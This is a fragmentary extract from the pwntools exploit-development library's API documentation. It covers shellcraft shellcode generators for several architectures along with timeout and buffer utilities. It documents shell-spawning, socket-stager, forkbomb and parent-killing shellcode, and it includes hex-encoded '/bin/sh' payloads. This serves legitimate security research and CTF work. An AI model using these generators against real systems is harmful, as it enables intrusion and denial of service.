Go from ARM to THUMB mode.
pwnlib.shellcraft.arm.trap()
A trap instruction.
pwnlib.shellcraft.arm.udiv_10(N)
Divides r0 by 10. Result is stored in r0, N and Z flags are updated.
Code is from generated from here: https://raw.githubusercontent.com/rofirrim/raspberry-pi-assembler/
master/chapter15/magic.py
With code: python magic.py 10 code_for_unsigned
pwnlib.shellcraft.arm.xor(key, address, count)
XORs data a constant value.
Parameters
• key (int,str) – XOR key either as a 4-byte integer, If a string, length must be a power
of two, and not longer than 4 bytes.
• address (int) – Address of the data (e.g. 0xdead0000, ‘rsp’)
• count (int) – Number of bytes to XOR.
Example
pwnlib.shellcraft.arm.linux
. . . However, SWI generates a software interrupt and to the interrupt handler, 0x9F0002 is actually
data and as a result will not be read via the instruction cache, so if we modify the argument to SWI
in our self-modifyign code, the argument will be read correctly.
pwnlib.shellcraft.arm.linux.cat(filename, fd=1)
Opens a file and writes its contents to the specified file descriptor.
Example
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG\n')
>>> run_assembly(shellcraft.arm.linux.cat(f)).recvline()
b'FLAG\n'
Example
>>> p = run_assembly(shellcraft.arm.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'
Example
pwnlib.shellcraft.i386
Example
>>> run_assembly(shellcraft.crash()).poll(True)
-11
pwnlib.shellcraft.i386.epilog(nargs=0)
Function epilogue.
Parameters nargs (int) – Number of arguments to pop off the stack.
pwnlib.shellcraft.i386.function(name, template_function, *registers)
Converts a shellcraft template into a callable function.
Parameters
• template_sz (callable) – Rendered shellcode template. Any variable Arguments
should be supplied as registers.
• name (str) – Name of the function.
• registers (list) – List of registers which should be filled from the stack.
>>> shellcode = ''
>>> shellcode += shellcraft.function('write', shellcraft.i386.linux.write, )
Notes
Can only be used on a shellcraft template which takes all of its arguments as registers. For example, the pushstr
pwnlib.shellcraft.i386.getpc(register=’ecx’)
Retrieves the value of EIP, stores it in the desired register.
Parameters return_value – Value to return
pwnlib.shellcraft.i386.infloop()
A two-byte infinite loop.
pwnlib.shellcraft.i386.itoa(v, buffer=’esp’, allocate_stack=True)
Converts an integer into its string representation, and pushes it onto the stack.
Parameters
• v (str, int) – Integer constant or register that contains the value to convert.
• alloca –
Example
pwnlib.shellcraft.i386.memcpy(dest, src, n)
Copies memory.
Parameters
• dest – Destination address
• src – Source address
• n – Number of bytes
pwnlib.shellcraft.i386.mov(dest, src, stack_allowed=True)
Move src into dest without newlines and null bytes.
If the src is a register smaller than the dest, then it will be zero-extended to fit inside the larger register.
If the src is a register larger than the dest, then only some of the bits will be used.
If src is a string that is not a register, then it will locally set context.arch to ‘i386’ and use pwnlib.
constants.eval() to evaluate the string. Note that this means that this shellcode can change behavior
depending on the value of context.os.
Parameters
• dest (str) – The destination register.
• src (str) – Either the input register, or an immediate value.
• stack_allowed (bool) – Can the stack be used?
Example
>>> print(shellcraft.i386.mov('eax','ebx').rstrip())
mov eax, ebx
>>> print(shellcraft.i386.mov('eax', 0).rstrip())
xor eax, eax
>>> print(shellcraft.i386.mov('ax', 0).rstrip())
xor ax, ax
>>> print(shellcraft.i386.mov('ax', 17).rstrip())
xor ax, ax
mov al, 0x11
>>> print(shellcraft.i386.mov('edi', ord('\n')).rstrip())
push 9 /* mov edi, '\n' */
pop edi
inc edi
>>> print(shellcraft.i386.mov('al', 'ax').rstrip())
/* moving ax into al, but this is a no-op */
>>> print(shellcraft.i386.mov('al','ax').rstrip())
/* moving ax into al, but this is a no-op */
>>> print(shellcraft.i386.mov('esp', 'esp').rstrip())
/* moving esp into esp, but this is a no-op */
>>> print(shellcraft.i386.mov('ax', 'bl').rstrip())
movzx ax, bl
>>> print(shellcraft.i386.mov('eax', 1).rstrip())
push 1
pop eax
>>> print(shellcraft.i386.mov('eax', 1, stack_allowed=False).rstrip())
xor eax, eax
mov al, 1
>>> print(shellcraft.i386.mov('eax', 0xdead00ff).rstrip())
mov eax, -0xdead00ff
neg eax
>>> print(shellcraft.i386.mov('eax', 0xc0).rstrip())
xor eax, eax
mov al, 0xc0
>>> print(shellcraft.i386.mov('edi', 0xc0).rstrip())
mov edi, -0xc0
neg edi
>>> print(shellcraft.i386.mov('eax', 0xc000).rstrip())
xor eax, eax
mov ah, 0xc000 >> 8
>>> print(shellcraft.i386.mov('eax', 0xffc000).rstrip())
mov eax, 0x1010101
xor eax, 0x1010101 ^ 0xffc000
>>> print(shellcraft.i386.mov('edi', 0xc000).rstrip())
mov edi, (-1) ^ 0xc000
not edi
>>> print(shellcraft.i386.mov('edi', 0xf500).rstrip())
mov edi, 0x1010101
xor edi, 0x1010101 ^ 0xf500
(continues on next page)
pwnlib.shellcraft.i386.nop()
A single-byte nop instruction.
pwnlib.shellcraft.i386.prolog()
Function prologue.
pwnlib.shellcraft.i386.push(value)
Pushes a value onto the stack without using null bytes or newline characters.
If src is a string, then we try to evaluate with context.arch = ‘i386’ using pwnlib.constants.eval()
before determining how to push it. Note that this means that this shellcode can change behavior depending on
the value of context.os.
Parameters value (int,str) – The value or register to push
Example
>>> print(pwnlib.shellcraft.i386.push(0).rstrip())
/* push 0 */
push 1
dec byte ptr [esp]
>>> print(pwnlib.shellcraft.i386.push(1).rstrip())
/* push 1 */
push 1
>>> print(pwnlib.shellcraft.i386.push(256).rstrip())
/* push 0x100 */
push 0x1010201
xor dword ptr [esp], 0x1010301
>>> print(pwnlib.shellcraft.i386.push('SYS_execve').rstrip())
/* push SYS_execve (0xb) */
push 0xb
>>> print(pwnlib.shellcraft.i386.push('SYS_sendfile').rstrip())
/* push SYS_sendfile (0xbb) */
push 0x1010101
xor dword ptr [esp], 0x10101ba
>>> with context.local(os = 'freebsd'):
... print(pwnlib.shellcraft.i386.push('SYS_execve').rstrip())
/* push SYS_execve (0x3b) */
push 0x3b
pwnlib.shellcraft.i386.pushstr(string, append_null=True)
Pushes a string onto the stack without using null bytes or newline characters.
Example
>>> print(shellcraft.i386.pushstr('').rstrip())
/* push '\x00' */
push 1
dec byte ptr [esp]
>>> print(shellcraft.i386.pushstr('a').rstrip())
/* push 'a\x00' */
push 0x61
>>> print(shellcraft.i386.pushstr('aa').rstrip())
/* push 'aa\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016060
>>> print(shellcraft.i386.pushstr('aaa').rstrip())
/* push 'aaa\x00' */
push 0x1010101
xor dword ptr [esp], 0x1606060
>>> print(shellcraft.i386.pushstr('aaaa').rstrip())
/* push 'aaaa\x00' */
push 1
dec byte ptr [esp]
push 0x61616161
>>> print(shellcraft.i386.pushstr('aaaaa').rstrip())
/* push 'aaaaa\x00' */
push 0x61
push 0x61616161
>>> print(shellcraft.i386.pushstr('aaaa', append_null = False).rstrip())
/* push 'aaaa' */
push 0x61616161
>>> print(shellcraft.i386.pushstr(b'\xc3').rstrip())
/* push b'\xc3\x00' */
push 0x1010101
xor dword ptr [esp], 0x10101c2
>>> print(shellcraft.i386.pushstr(b'\xc3', append_null = False).rstrip())
/* push b'\xc3' */
push -0x3d
>>> with context.local():
... context.arch = 'i386'
... print(enhex(asm(shellcraft.pushstr("/bin/sh"))))
68010101018134242e726901682f62696e
>>> with context.local():
... context.arch = 'i386'
... print(enhex(asm(shellcraft.pushstr(""))))
6a01fe0c24
>>> with context.local():
... context.arch = 'i386'
... print(enhex(asm(shellcraft.pushstr("\x00", False))))
6a01fe0c24
Parameters
• string (str) – The string to push.
• append_null (bool) – Whether to append a single NULL-byte before pushing.
pwnlib.shellcraft.i386.pushstr_array(reg, array)
Pushes an array/envp-style array of pointers onto the stack.
Parameters
• reg (str) – Destination register to hold the pointer.
• array (str,list) – Single argument or list of arguments to push. NULL termination is
normalized so that each argument ends with exactly one NULL byte.
pwnlib.shellcraft.i386.ret(return_value=None)
A single-byte RET instruction.
Parameters return_value – Value to return
pwnlib.shellcraft.i386.setregs(reg_context, stack_allowed=True)
Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).
Parameters
• reg_context (dict) – Desired register context
• stack_allowed (bool) – Can the stack be used?
Example
pwnlib.shellcraft.i386.stackarg(index, register)
Loads a stack-based argument into a register.
Assumes that the ‘prolog’ code was used to save EBP.
Parameters
• index (int) – Zero-based argument index.
• register (str) – Register name.
pwnlib.shellcraft.i386.stackhunter(cookie = 0x7afceb58)
Returns an an egghunter, which searches from esp and upwards for a cookie. However to save bytes,
it only looks at a single 4-byte alignment. Use the function stackhunter_helper to generate a suitable
cookie prefix for you.
The default cookie has been chosen, because it makes it possible to shave a single byte, but other
cookies can be used too.
Example
pwnlib.shellcraft.i386.strcpy(dst, src)
Copies a string
Example
pwnlib.shellcraft.i386.strlen(string, reg=’ecx’)
Calculate the length of the specified string.
Parameters
• string (str) – Register or address with the string
• reg (str) – Named register to return the value in, ecx is the default.
Example
pwnlib.shellcraft.i386.trap()
A trap instruction.
pwnlib.shellcraft.i386.xor(key, address, count)
XORs data a constant value.
Parameters
• key (int,str) – XOR key either as a 4-byte integer, If a string, length must be a power
of two, and not longer than 4 bytes. Alternately, may be a register.
• address (int) – Address of the data (e.g. 0xdead0000, ‘esp’)
• count (int) – Number of bytes to XOR, or a register containing the number of bytes to
XOR.
Example
pwnlib.shellcraft.i386.linux
Example
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG')
>>> run_assembly(shellcraft.i386.linux.cat(f)).recvall()
b'FLAG'
Examples
>>> l = listen(timeout=5)
>>> assembly = shellcraft.i386.linux.connect('localhost', l.lport)
>>> assembly += shellcraft.i386.pushstr('Hello')
>>> assembly += shellcraft.i386.linux.write('edx', 'esp', 5)
>>> p = run_assembly(assembly)
>>> l.wait_for_connection().recv()
b'Hello'
Example
pwnlib.shellcraft.i386.linux.egghunter(egg, start_address = 0)
Searches memory for the byte sequence ‘egg’.
Return value is the address immediately following the match, stored in RDI.
Parameters
• egg (str, int) – String of bytes, or word-size integer to search for
• start_address (int) – Where to start the search
pwnlib.shellcraft.i386.linux.findpeer(port=None)
Args: port (defaults to any port) Finds a socket, which is connected to the specified port. Leaves socket in ESI.
pwnlib.shellcraft.i386.linux.findpeersh(port=None)
Args: port (defaults to any) Finds an open socket which connects to a specified port, and then opens a dup2 shell
on it.
pwnlib.shellcraft.i386.linux.findpeerstager(port=None)
Findpeer recvsize stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults
to any
pwnlib.shellcraft.i386.linux.forkbomb()
Performs a forkbomb attack.
pwnlib.shellcraft.i386.linux.forkexit()
Attempts to fork. If the fork is successful, the parent exits.
pwnlib.shellcraft.i386.linux.i386_to_amd64()
Returns code to switch from i386 to amd64 mode.
pwnlib.shellcraft.i386.linux.killparent()
Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.
pwnlib.shellcraft.i386.linux.loader(address)
Loads a statically-linked ELF into memory and transfers control.
Parameters address (int) – Address of the ELF as a register or integer.
pwnlib.shellcraft.i386.linux.loader_append(data=None)
Loads a statically-linked ELF into memory and transfers control.
Similar to loader.asm but loads an appended ELF.
Parameters data (str) – If a valid filename, the data is loaded from the named file. Otherwise,
this is treated as raw ELF data to append. If None, it is ignored.
Example
>>> gcc.write(b'''
... int main() {
... printf("Hello, %s!\\n", "i386");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True)
0
>>> sc = shellcraft.loader_append('a.out')
The following doctest is commented out because it doesn’t work on Travis for reasons I cannot diagnose. How-
ever, it should work just fine :-)
# >>> run_assembly(sc).recvline() == b’Hello, i386!n’ # True
pwnlib.shellcraft.i386.linux.mprotect_all(clear_ebx=True, fix_null=False)
Calls mprotect(page, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) for every page.
It takes around 0.3 seconds on my box, but your milage may vary.
Parameters
• clear_ebx (bool) – If this is set to False, then the shellcode will assume that ebx has
already been zeroed.
• fix_null (bool) – If this is set to True, then the NULL-page will also be mprotected at
the cost of slightly larger shellcode
pwnlib.shellcraft.i386.linux.pidmax()
Retrieves the highest numbered PID on the system, according to the sysctl kernel.pid_max.
pwnlib.shellcraft.i386.linux.readfile(path, dst=’esi’)
Args: [path, dst (imm/reg) = esi ] Opens the specified file path and sends its content to the specified file descrip-
tor.
>>> p = run_assembly(shellcraft.i386.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'
pwnlib.shellcraft.i386.linux.socket(network=’ipv4’, proto=’tcp’)
Creates a new socket
pwnlib.shellcraft.i386.linux.socketcall(socketcall, socket, sockaddr, sockaddr_len)
Invokes a socket call (e.g. socket, send, recv, shutdown)
pwnlib.shellcraft.i386.linux.stage(fd=0, length=None)
Migrates shellcode to a new buffer.
Parameters
• fd (int) – Integer file descriptor to recv data from. Default is stdin (0).
• length (int) – Optional buffer length. If None, the first pointer-width of data received is
the length.
Example
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
b'Hello\n'
Example
Example
pwnlib.shellcraft.i386.freebsd
Example
pwnlib.shellcraft.mips
pwnlib.shellcraft.mips.mov(dst, src)
Move src into dst without newlines and null bytes.
Registers $t8 and $t9 are not guaranteed to be preserved.
If src is a string that is not a register, then it will locally set context.arch to ‘mips’ and use pwnlib.
constants.eval() to evaluate the string. Note that this means that this shellcode can change behavior
depending on the value of context.os.
Parameters
• dst (str) – The destination register.
• src (str) – Either the input register, or an immediate value.
Example
pwnlib.shellcraft.mips.nop()
MIPS nop instruction.
pwnlib.shellcraft.mips.push(value)
Pushes a value onto the stack.
pwnlib.shellcraft.mips.pushstr(string, append_null=True)
Pushes a string onto the stack without using null bytes or newline characters.
Example
>>> print(shellcraft.mips.pushstr('').rstrip())
/* push b'\x00' */
sw $zero, -4($sp)
addiu $sp, $sp, -4
>>> print(shellcraft.mips.pushstr('a').rstrip())
/* push b'a\x00' */
li $t9, ~0x61
not $t1, $t9
sw $t1, -4($sp)
addiu $sp, $sp, -4
>>> print(shellcraft.mips.pushstr('aa').rstrip())
/* push b'aa\x00' */
ori $t1, $zero, 24929
sw $t1, -4($sp)
addiu $sp, $sp, -4
>>> print(shellcraft.mips.pushstr('aaa').rstrip())
/* push b'aaa\x00' */
li $t9, ~0x616161
not $t1, $t9
sw $t1, -4($sp)
addiu $sp, $sp, -4
>>> print(shellcraft.mips.pushstr('aaaa').rstrip())
/* push b'aaaa\x00' */
li $t1, 0x61616161
sw $t1, -8($sp)
sw $zero, -4($sp)
addiu $sp, $sp, -8
>>> print(shellcraft.mips.pushstr('aaaaa').rstrip())
/* push b'aaaaa\x00' */
li $t1, 0x61616161
sw $t1, -8($sp)
li $t9, ~0x61
not $t1, $t9
sw $t1, -4($sp)
addiu $sp, $sp, -8
>>> print(shellcraft.mips.pushstr('aaaa', append_null = False).rstrip())
/* push b'aaaa' */
li $t1, 0x61616161
sw $t1, -4($sp)
addiu $sp, $sp, -4
>>> print(shellcraft.mips.pushstr(b'\xc3').rstrip())
/* push b'\xc3\x00' */
li $t9, ~0xc3
not $t1, $t9
sw $t1, -4($sp)
addiu $sp, $sp, -4
>>> print(shellcraft.mips.pushstr(b'\xc3', append_null = False).rstrip())
/* push b'\xc3' */
li $t9, ~0xc3
not $t1, $t9
sw $t1, -4($sp)
addiu $sp, $sp, -4
>>> print(enhex(asm(shellcraft.mips.pushstr("/bin/sh"))))
696e093c2f622935f8ffa9af97ff193cd08c393727482003fcffa9aff8ffbd27
>>> print(enhex(asm(shellcraft.mips.pushstr(""))))
(continues on next page)
Parameters
• string (str) – The string to push.
• append_null (bool) – Whether to append a single NULL-byte before pushing.
pwnlib.shellcraft.mips.pushstr_array(reg, array)
Pushes an array/envp-style array of pointers onto the stack.
Parameters
• reg (str) – Destination register to hold the pointer.
• array (str,list) – Single argument or list of arguments to push. NULL termination is
normalized so that each argument ends with exactly one NULL byte.
pwnlib.shellcraft.mips.setregs(reg_context, stack_allowed=True)
Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).
Parameters
• reg_context (dict) – Desired register context
• stack_allowed (bool) – Can the stack be used?
Example
pwnlib.shellcraft.mips.trap()
A trap instruction.
pwnlib.shellcraft.mips.linux
Example
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG')
>>> asm = shellcraft.mips.linux.cat(f)
>>> asm += shellcraft.mips.linux.exit(0)
>>> run_assembly(asm).recvall()
b'FLAG'
Example
>>> p = run_assembly(shellcraft.mips.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'
pwnlib.shellcraft.mips.linux.stager(sock, size)
Read ‘size’ bytes from ‘sock’ and place them in an executable buffer and jump to it. The socket will be left in
$s0.
Example
Topographical sort
pwnlib.regsort.check_cycle(reg, assignments)
Walk down the assignment list of a register, return the path walked if it is encountered again.
Returns The list of register involved in the cycle. If there is no cycle, this is an empty list.
Example
pwnlib.regsort.extract_dependencies(reg, assignments)
Return a list of all registers which directly depend on the specified register.
Example
Parameters
• in_out (dict) – Dictionary of desired register states. Keys are registers, values are either
registers or any other value.
• all_regs (list) – List of all possible registers. Used to determine which values in
in_out are registers, versus regular values.
• tmp (obj, str) – Named register (or other sentinel value) to use as a temporary reg-
ister. If tmp is a named register and appears as a source value in in_out, depen-
dencies are handled appropriately. tmp cannot be a destination register in in_out. If
bool(tmp)==True, this mode is enabled.
• xchg (obj) – Indicates the existence of an instruction which can swap the contents of two
registers without use of a third register. If bool(xchg)==False, this mode is disabled.
• random (bool) – Randomize as much as possible about the order or registers.
Returns
A list of tuples of (src, dest).
Each register may appear more than once, if a register is used as a temporary register, and later
overwritten with its final value.
If xchg is True and it is used to break a dependency cycle, then reg_name will be None and
value will be a tuple of the instructions to swap.
Example
pwnlib.regsort.resolve_order(reg, deps)
Resolve the order of all dependencies starting at a given register.
Example
>>> want = {'a': 1, 'b': 'c', 'c': 'd', 'd': 7, 'x': 'd'}
>>> deps = {'a': [], 'b': [], 'c': ['b'], 'd': ['c', 'x'], 'x': []}
>>> resolve_order('a', deps)
['a']
>>> resolve_order('b', deps)
['b']
>>> resolve_order('c', deps)
['b', 'c']
>>> resolve_order('d', deps)
['b', 'c', 'x', 'd']
pwnlib.shellcraft.thumb
Example
pwnlib.shellcraft.thumb.infloop()
An infinite loop.
pwnlib.shellcraft.thumb.itoa(v, buffer=’sp’, allocate_stack=True)
Converts an integer into its string representation, and pushes it onto the stack. Uses registers r0-r5.
Parameters
• v (str, int) – Integer constant or register that contains the value to convert.
• alloca –
Example
pwnlib.shellcraft.thumb.memcpy(dest, src, n)
Copies memory.
Parameters
• dest – Destination address
• src – Source address
• n – Number of bytes
pwnlib.shellcraft.thumb.mov(dst, src)
Returns THUMB code for moving the specified source value into the specified destination register.
If src is a string that is not a register, then it will locally set context.arch to ‘thumb’ and use pwnlib.
constants.eval() to evaluate the string. Note that this means that this shellcode can change
behavior depending on the value of context.os.
Example
>>> print(shellcraft.thumb.mov('r1','r2').rstrip())
mov r1, r2
>>> print(shellcraft.thumb.mov('r1', 0).rstrip())
eor r1, r1
>>> print(shellcraft.thumb.mov('r1', 10).rstrip())
mov r1, #0xa + 1
sub r1, r1, 1
>>> print(shellcraft.thumb.mov('r1', 17).rstrip())
mov r1, #0x11
>>> print(shellcraft.thumb.mov('r1', 'r1').rstrip())
/* moving r1 into r1, but this is a no-op */
>>> print(shellcraft.thumb.mov('r1', 512).rstrip())
mov r1, #0x200
>>> print(shellcraft.thumb.mov('r1', 0x10000001).rstrip())
mov r1, #(0x10000001 >> 28)
lsl r1, #28
add r1, #(0x10000001 & 0xff)
>>> print(shellcraft.thumb.mov('r1', 0xdead0000).rstrip())
mov r1, #(0xdead0000 >> 25)
lsl r1, #(25 - 16)
add r1, #((0xdead0000 >> 16) & 0xff)
lsl r1, #16
>>> print(shellcraft.thumb.mov('r1', 0xdead00ff).rstrip())
ldr r1, value_...
b value_..._after
value_...: .word 0xdead00ff
value_..._after:
>>> with context.local(os = 'linux'):
... print(shellcraft.thumb.mov('r1', 'SYS_execve').rstrip())
mov r1, #SYS_execve /* 0xb */
>>> with context.local(os = 'freebsd'):
... print(shellcraft.thumb.mov('r1', 'SYS_execve').rstrip())
mov r1, #SYS_execve /* 0x3b */
>>> with context.local(os = 'linux'):
... print(shellcraft.thumb.mov('r1', 'PROT_READ | PROT_WRITE | PROT_EXEC').
˓→rstrip())
pwnlib.shellcraft.thumb.nop()
A nop instruction.
pwnlib.shellcraft.thumb.popad()
Pop all of the registers onto the stack which i386 popad does, in the same order.
pwnlib.shellcraft.thumb.push(value)
Pushes a value onto the stack without using null bytes or newline characters.
If src is a string, then we try to evaluate with context.arch = ‘thumb’ using pwnlib.constants.eval()
before determining how to push it. Note that this means that this shellcode can change behavior depending on
the value of context.os.
Parameters value (int,str) – The value or register to push
Example
>>> print(pwnlib.shellcraft.thumb.push('r0').rstrip())
push {r0}
>>> print(pwnlib.shellcraft.thumb.push(0).rstrip())
/* push 0 */
eor r7, r7
push {r7}
>>> print(pwnlib.shellcraft.thumb.push(1).rstrip())
/* push 1 */
mov r7, #1
push {r7}
>>> print(pwnlib.shellcraft.thumb.push(256).rstrip())
/* push 256 */
mov r7, #0x100
push {r7}
>>> print(pwnlib.shellcraft.thumb.push('SYS_execve').rstrip())
/* push 'SYS_execve' */
mov r7, #0xb
push {r7}
>>> with context.local(os = 'freebsd'):
... print(pwnlib.shellcraft.thumb.push('SYS_execve').rstrip())
/* push 'SYS_execve' */
mov r7, #0x3b
push {r7}
pwnlib.shellcraft.thumb.pushad()
Push all of the registers onto the stack which i386 pushad does, in the same order.
pwnlib.shellcraft.thumb.pushstr(string, append_null=True, register=’r7’)
Pushes a string onto the stack without using null bytes or newline characters.
Parameters
• string (str) – The string to push.
• append_null (bool) – Whether to append a single NULL-byte before pushing.
Examples:
Note that this doctest has two possibilities for the first result, depending on your version of binutils.
>>> enhex(asm(shellcraft.pushstr('Hello\nWorld!', True))) in [
...
˓→'87ea070780b4dff8047001e0726c642180b4dff8047001e06f0a576f80b4dff8047001e048656c6c80b4
˓→',
...
˓→'87ea070780b4dff8067000f002b8726c642180b4dff8047000f002b86f0a576f80b4014f00f002b848656c6c80b4
˓→']
True
>>> print(shellcraft.pushstr('abc').rstrip()) #doctest: +ELLIPSIS
/* push b'abc\x00' */
ldr r7, value_...
(continues on next page)
pwnlib.shellcraft.thumb.pushstr_array(reg, array)
Pushes an array/envp-style array of pointers onto the stack.
Parameters
• reg (str) – Destination register to hold the pointer.
• array (str,list) – Single argument or list of arguments to push. NULL termination is
normalized so that each argument ends with exactly one NULL byte.
pwnlib.shellcraft.thumb.ret(return_value=None)
A single-byte RET instruction.
Parameters return_value – Value to return
pwnlib.shellcraft.thumb.setregs(reg_context, stack_allowed=True)
Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).
Parameters
• reg_context (dict) – Desired register context
• stack_allowed (bool) – Can the stack be used?
Example
pwnlib.shellcraft.thumb.to_arm(reg=None, avoid=[])
Go from THUMB to ARM mode.
pwnlib.shellcraft.thumb.trap()
A trap instruction.
pwnlib.shellcraft.thumb.udiv_10(N)
Divides r0 by 10. Result is stored in r0, N and Z flags are updated.
Code is from generated from here: https://raw.githubusercontent.com/rofirrim/raspberry-pi-assembler/
master/chapter15/magic.py
With code: python magic.py 10 code_for_unsigned
pwnlib.shellcraft.thumb.linux
Example
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG\n')
>>> run_assembly(shellcraft.arm.to_thumb()+shellcraft.thumb.linux.cat(f)).
˓→recvline()
b'FLAG\n'
Example
pwnlib.shellcraft.thumb.linux.findpeer(port)
Finds a connected socket. If port is specified it is checked against the peer port. Resulting socket is left in r6.
Example
>>> enhex(asm(shellcraft.findpeer(1337)))
˓→'6ff00006ee4606f101064ff001074fea072707f11f07f54630461fb401a96a4601df0130efdd01994fea11414ff03
˓→'
pwnlib.shellcraft.thumb.linux.findpeersh(port)
Finds a connected socket. If port is specified it is checked against the peer port. A dup2 shell is spawned on it.
pwnlib.shellcraft.thumb.linux.findpeerstager(port=None)
Findpeer recvsize stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults
to any
pwnlib.shellcraft.thumb.linux.forkbomb()
Performs a forkbomb attack.
pwnlib.shellcraft.thumb.linux.forkexit()
Attempts to fork. If the fork is successful, the parent exits.
pwnlib.shellcraft.thumb.linux.killparent()
Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.
pwnlib.shellcraft.thumb.linux.listen(port, network)
Listens on a TCP port, accept a client and leave his socket in r6. Port is the TCP port to listen on, network is
either ‘ipv4’ or ‘ipv6’.
Example
˓→'4ff001074fea072707f119074ff002004ff0010182ea020201df0646004901e00200053906b469464ff0100207f10
˓→'
pwnlib.shellcraft.thumb.linux.loader(address)
Loads a statically-linked ELF into memory and transfers control.
Parameters address (int) – Address of the ELF as a register or integer.
pwnlib.shellcraft.thumb.linux.loader_append(data=None)
Loads a statically-linked ELF into memory and transfers control.
Similar to loader.asm but loads an appended ELF.
Parameters data (str) – If a valid filename, the data is loaded from the named file. Otherwise,
this is treated as raw ELF data to append. If None, it is ignored.
Example:
The following doctest is commented out because it doesn’t work on Travis for reasons I cannot diagnose. How-
ever, it should work just fine :-)
# >>> gcc = process([‘arm-linux-gnueabihf-gcc’,’-xc’,’-static’,’-Wl,-Ttext-segment=0x20000000’,’-
‘]) # >>> gcc.write(b’‘’ # . . . int main() { # . . . printf(“Hello, %s!\n”, “world”); # . . . } # . . . ‘’‘) #
>>> gcc.shutdown(‘send’) # >>> gcc.poll(True) # 0 # >>> sc = shellcraft.loader_append(‘a.out’) #
>>> run_assembly(sc).recvline() # ‘Hello, world!n’
pwnlib.shellcraft.thumb.linux.readfile(path, dst=’r6’)
Args: [path, dst (imm/reg) = r6 ] Opens the specified file path and sends its content to the specified file descriptor.
Leaves the destination file descriptor in r6 and the input file descriptor in r5.
pwnlib.shellcraft.thumb.linux.readn(fd, buf, nbytes)
Reads exactly nbytes bytes from file descriptor fd into the buffer buf.
Parameters
• fd (int) – fd
• buf (void) – buf
• nbytes (size_t) – nbytes
pwnlib.shellcraft.thumb.linux.recvsize(sock, reg=’r1’)
Recives 4 bytes size field Useful in conjuncion with findpeer and stager :param sock, the socket to read the
payload from.: :param reg, the place to put the size: :type reg, the place to put the size: default ecx
Leaves socket in ebx
pwnlib.shellcraft.thumb.linux.sh()
Execute a different process.
>>> p = run_assembly(shellcraft.thumb.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'
pwnlib.shellcraft.thumb.linux.stage(fd=0, length=None)
Migrates shellcode to a new buffer.
Parameters
• fd (int) – Integer file descriptor to recv data from. Default is stdin (0).
• length (int) – Optional buffer length. If None, the first pointer-width of data received is
the length.
Example
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
b'Hello\n'
pwnlib.shellcraft.thumb.linux.stager(sock, size)
Read ‘size’ bytes from ‘sock’ and place them in an executable buffer and jump to it. The socket will be left in
r6.
pwnlib.shellcraft.thumb.linux.syscall(syscall=None, arg0=None, arg1=None, arg2=None,
arg3=None, arg4=None, arg5=None, arg6=None)
Args: [syscall_number, *args] Does a syscall
Any of the arguments can be expressions to be evaluated by pwnlib.constants.eval().
Example
pwnlib.term.can_init()
This function returns True iff stderr is a TTY and we are not inside a REPL. Iff this function returns True, a call
to init() will let pwnlib manage the terminal.
pwnlib.term.init()
Calling this function will take over the terminal (iff can_init() returns True) until the current python inter-
preter is closed.
It is on our TODO, to create a function to “give back” the terminal without closing the interpreter.
pwnlib.term.term_mode = False
This is True exactly when we have taken over the terminal using init().
class pwnlib.timeout.Timeout(timeout=pwnlib.timeout.Timeout.default)
Implements a basic class which has a timeout, and support for scoped timeout countdowns.
Valid timeout values are:
• Timeout.default use the global default value (context.default)
• Timeout.forever or None never time out
• Any positive float, indicates timeouts in seconds
Example
>>> context.timeout = 30
>>> t = Timeout()
>>> t.timeout == 30
True
>>> t = Timeout(5)
>>> t.timeout == 5
True
>>> i = 0
>>> with t.countdown():
... print(4 <= t.timeout and t.timeout <= 5)
...
True
>>> with t.countdown(0.5):
... while t.timeout:
... print(round(t.timeout,1))
... time.sleep(0.1)
0.5
0.4
0.3
0.2
0.1
>>> print(t.timeout)
5.0
>>> with t.local(0.5):
... for i in range(5):
... print(round(t.timeout,1))
... time.sleep(0.1)
0.5
0.5
0.5
0.5
0.5
>>> print(t.timeout)
5.0
countdown(timeout=pwnlib.timeout.Timeout.default)
Scoped timeout setter. Sets the timeout within the scope, and restores it when leaving the scope.
When accessing timeout within the scope, it will be calculated against the time when the scope was
entered, in a countdown fashion.
If None is specified for timeout, then the current timeout is used is made. This allows None to be
specified as a default argument with less complexity.
local(timeout)
Scoped timeout setter. Sets the timeout within the scope, and restores it when leaving the scope.
timeout_change()
Callback for subclasses to hook a timeout change.
default = pwnlib.timeout.Timeout.default
Value indicating that the timeout should not be changed
forever = None
Value indicating that a timeout should not ever occur
maximum = pwnlib.timeout.maximum
Maximum value for a timeout. Used to get around platform issues with very large timeouts.
OSX does not permit setting socket timeouts to 2**22. Assume that if we receive a timeout of 2**21 or
greater, that the value is effectively infinite.
timeout
Timeout for obj operations. By default, uses context.timeout.
exception pwnlib.tubes.buffer.Buffer(buffer_fill_size=None)
List of strings with some helper routines.
Example
>>> b = Buffer()
>>> b.add(b"A" * 10)
>>> b.add(b"B" * 10)
>>> len(b)
20
>>> b.get(1)
b'A'
>>> len(b)
19
>>> b.get(9999)
b'AAAAAAAAABBBBBBBBBB'
>>> len(b)
0
>>> b.get(1)
b''
Implementation Details:
